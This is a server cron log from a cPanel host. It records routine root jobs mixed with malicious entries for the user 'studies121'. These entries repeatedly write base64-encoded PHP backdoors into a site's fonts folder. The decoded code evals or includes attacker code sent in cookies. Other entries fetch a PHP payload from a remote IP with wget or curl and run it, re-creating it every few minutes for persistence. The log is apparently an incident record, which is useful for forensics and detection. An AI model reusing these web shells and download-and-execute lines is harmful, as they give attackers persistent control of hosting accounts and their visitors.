Sep  4 02:54:01 ip-184-168-122-23 CROND[6222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:55:01 ip-184-168-122-23 CROND[6317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:55:01 ip-184-168-122-23 CROND[6318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:55:01 ip-184-168-122-23 CROND[6320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:55:01 ip-184-168-122-23 CROND[6316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:55:01 ip-184-168-122-23 CROND[6319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:55:01 ip-184-168-122-23 CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:56:01 ip-184-168-122-23 CROND[6419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:56:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:56:01 ip-184-168-122-23 CROND[6424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:56:01 ip-184-168-122-23 CROND[6423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:56:01 ip-184-168-122-23 CROND[6421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:57:01 ip-184-168-122-23 CROND[6510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:57:01 ip-184-168-122-23 CROND[6512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:57:01 ip-184-168-122-23 CROND[6511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:57:01 ip-184-168-122-23 CROND[6514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:58:01 ip-184-168-122-23 CROND[6600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:58:01 ip-184-168-122-23 CROND[6601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:58:01 ip-184-168-122-23 CROND[6604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:58:01 ip-184-168-122-23 CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:58:01 ip-184-168-122-23 CROND[6606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:59:01 ip-184-168-122-23 CROND[6763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:59:01 ip-184-168-122-23 CROND[6764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:59:01 ip-184-168-122-23 CROND[6767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:59:01 ip-184-168-122-23 CROND[6768]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  4 02:59:01 ip-184-168-122-23 CROND[6770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:00:01 ip-184-168-122-23 CROND[6855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:00:01 ip-184-168-122-23 CROND[6857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:00:01 ip-184-168-122-23 CROND[6858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6966]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:01:01 ip-184-168-122-23 CROND[6968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6966]: starting 0anacron
Sep  4 03:01:01 ip-184-168-122-23 anacron[6984]: Anacron started on 2026-09-04
Sep  4 03:01:01 ip-184-168-122-23 anacron[6984]: Will run job `cron.daily' in 7 min.
Sep  4 03:01:01 ip-184-168-122-23 anacron[6984]: Will run job `cron.weekly' in 27 min.
Sep  4 03:01:01 ip-184-168-122-23 anacron[6984]: Jobs will be executed sequentially
Sep  4 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6986]: finished 0anacron
Sep  4 03:02:02 ip-184-168-122-23 CROND[7078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:02:02 ip-184-168-122-23 CROND[7080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:02:02 ip-184-168-122-23 CROND[7082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:02:02 ip-184-168-122-23 CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:02:02 ip-184-168-122-23 CROND[7083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:03:01 ip-184-168-122-23 CROND[7161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:03:01 ip-184-168-122-23 CROND[7162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:03:01 ip-184-168-122-23 CROND[7164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:03:01 ip-184-168-122-23 CROND[7163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:04:01 ip-184-168-122-23 CROND[7326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:04:01 ip-184-168-122-23 CROND[7328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:04:01 ip-184-168-122-23 CROND[7329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:04:01 ip-184-168-122-23 CROND[7330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:04:01 ip-184-168-122-23 CROND[7332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:05:01 ip-184-168-122-23 CROND[7427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:05:01 ip-184-168-122-23 CROND[7426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:05:01 ip-184-168-122-23 CROND[7430]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:05:01 ip-184-168-122-23 CROND[7433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:05:01 ip-184-168-122-23 CROND[7431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:05:01 ip-184-168-122-23 CROND[7432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:05:01 ip-184-168-122-23 CROND[7434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:06:01 ip-184-168-122-23 CROND[7532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:06:01 ip-184-168-122-23 CROND[7533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:06:01 ip-184-168-122-23 CROND[7537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
